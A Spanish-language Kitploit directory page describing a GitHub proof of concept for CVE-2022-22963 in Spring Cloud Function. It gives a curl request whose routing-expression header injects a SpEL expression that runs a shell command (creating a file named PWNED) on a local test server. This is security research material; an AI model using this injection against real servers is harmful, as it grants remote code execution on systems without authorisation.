Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-22963-PoC — Prueba de concepto mínima para la ejecución remota de código CVE-2022-22963 en Spring Cloud Function mediante inyección de SpEL. Demuestra la explotación con curl y un servidor vulnerable. | Kitploit
Herramientas/GitHubGitHub/kirill89/cve-2022-22963-poc
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubkirill89/cve-2022-22963-poc

CVE-2022-22963-PoC

Prueba de concepto mínima para la ejecución remota de código CVE-2022-22963 en Spring Cloud Function mediante inyección de SpEL. Demuestra la explotación con curl y un servidor vulnerable.

Ver Repositorio
932hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-22963 RCE PoC

Ejemplo mínimo para reproducir la ejecución remota de código CVE-2022-22963 en org.springframework.cloud:spring-cloud-function-core.

Exploit

Ejecutar el servidor

mvn spring-boot:run

Realizar una petición

curl -X POST -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch PWNED")' -d xxx http://127.0.0.1:8080/functionRouter

Como resultado del exploit, se creará el archivo PWNED junto a pom.xml.

Información adicional

  • Aviso original: https://tanzu.vmware.com/security/cve-2022-22963
  • Aviso de Snyk: https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORKCLOUD-2436645
  • Este PoC está basado en: https://github.com/Pizz33/Spring-Cloud-Function-SpEL
Descargar herramienta